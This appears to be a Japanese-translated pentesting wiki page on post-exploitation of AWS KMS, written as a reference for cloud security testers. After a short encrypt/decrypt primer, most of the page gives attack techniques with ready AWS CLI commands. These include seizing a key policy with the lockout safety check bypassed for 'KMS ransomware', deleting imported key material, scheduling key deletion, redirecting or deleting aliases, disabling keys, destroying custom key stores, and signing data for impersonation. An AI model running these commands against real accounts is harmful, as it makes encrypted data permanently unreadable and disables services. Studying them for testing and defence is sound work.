8.8 KiB
AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
KMS
For more information check:
{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}
暗号化/復号化情報
fileb:// と file:// は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです:
fileb://:はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。file://:はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。
Tip
注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://)
- 対称鍵 を使用する場合
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- 非対称鍵を使用する:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
KMS に対する特権的アクセスを持つ attacker は、キーの KMS policy を変更し、自分のアカウントに対するアクセスを付与することで、legit account に付与されていたアクセスを削除できます。
その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。
Warning
注意: AWS managed keys aren't affected。影響を受けるのは Customer managed keys のみです。
また、パラメータ
--bypass-policy-lockout-safety-checkを使用する必要がある点にも注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります)。
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
ポリシーを変更して外部アカウントのみにアクセスを与え、その外部アカウントから新しいポリシーを設定して元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross accountため、アクセスを戻すことはできない点に注意してください。

Generic KMS Ransomware
グローバルな KMS Ransomware を実行する別の方法として、以下の手順が考えられます:
- 攻撃者がインポートした key with a key material を持つ新しいキーを作成する
- 被害者が以前のバージョンで暗号化した古いデータを新しいキーで Re-encrypt older data する
- Delete the KMS key
- そうすると、元の key material を持つ攻撃者だけが暗号化データを復号できるようになる
Delete Keys via kms:DeleteImportedKeyMaterial
kms:DeleteImportedKeyMaterial 権限があれば、アクターは Origin=EXTERNAL を持つ CMKs(キー素材をインポートしている CMKs)からインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
keys を破壊することで DoS を実行できる。
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
注意: AWS は現在 これらの操作がクロスアカウントから実行されることを防いでいます:
Alias を変更または削除
この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。kms:DeleteAlias や kms:UpdateAlias のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作(例: encrypt, describe)を妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
kms:CancelKeyDeletion と kms:EnableKey のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復(最初は Disabled state)し、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
kms:DisableKey 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
aws kms disable-key \
--key-id <key_id>
共有シークレットの導出
kms:DeriveSharedSecret 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
kms:Sign 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
kms:DeleteCustomKeyStore、kms:DisconnectCustomKeyStore、kms:UpdateCustomKeyStore のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

{{#include ../../../banners/hacktricks-training.md}}